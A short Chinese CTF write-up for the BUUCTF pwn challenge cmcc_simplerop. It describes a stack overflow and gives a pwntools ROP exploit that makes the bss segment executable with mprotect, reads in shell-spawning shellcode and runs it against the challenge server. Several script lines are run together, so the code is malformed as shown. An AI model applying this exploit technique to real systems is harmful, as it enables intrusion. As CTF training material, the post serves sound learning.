cmcc_simplerop
由于网络安全课程需要,从本篇开始记录BUU的做题记录及wp

常规操作,拿到文件先检查,保护开得不多

ida查看,存在明显溢出,并且提示要使用ROP

利用pwndbg得到偏移量为0x20

找到了系统调用int 0x80
整理下思路,可以利用mprotect修改bss的权限,并生成shellcode,利用read函数往bss段写入shellcode并且执行,从而拿到shell
from pwn import *
p=remote('node4.buuoj.cn',29914)
#context.terminal = ['tmux', 'splitw', '-h']
elf=ELF('./simplerop')
main=0x08048E24
bss=0x080EB000
int_80h=0x080493e1
pop_eax=0x080bae06
pop_edx_ecx_ebx=0x0806e850
mprotect_addr=elf.sym['mprotect']
read_addr=elf.sym['read']shell=asm(shellcraft.sh())payload=b'a'*0x20
payload+=p32(mprotect_addr)
payload+=p32(pop_edx_ecx_ebx)
payload+=p32(bss)+p32(0x1000)+p32(0x7)
payload+=p32(read_addr)
payload+=p32(pop_edx_ecx_ebx)
payload+=p32(0)+p32(bss)+p32(0x30)
payload+=p32(bss)
p.sendline(payload)sleep(1)
p.sendline(shell)p.interactive()
![BUUCTF | [GXYCTF2019]BabySQli](https://img-blog.csdnimg.cn/1c495852653644bfa510f7b9716ef063.png?x-oss-process=image/watermark,type_d3F5LXplbmhlaQ,shadow_50,text_Q1NETiBA5bGx5bed57u_5rC0,size_20,color_FFFFFF,t_70,g_se,x_16)




![BUUCTF Misc 穿越时空的思念 [ACTF新生赛2020]outguess [HBNIS2018]excel破解 [HBNIS2018]来题中等的吧](https://img-blog.csdnimg.cn/a9d174bd9014407fbe5bd5a848a4207d.png)










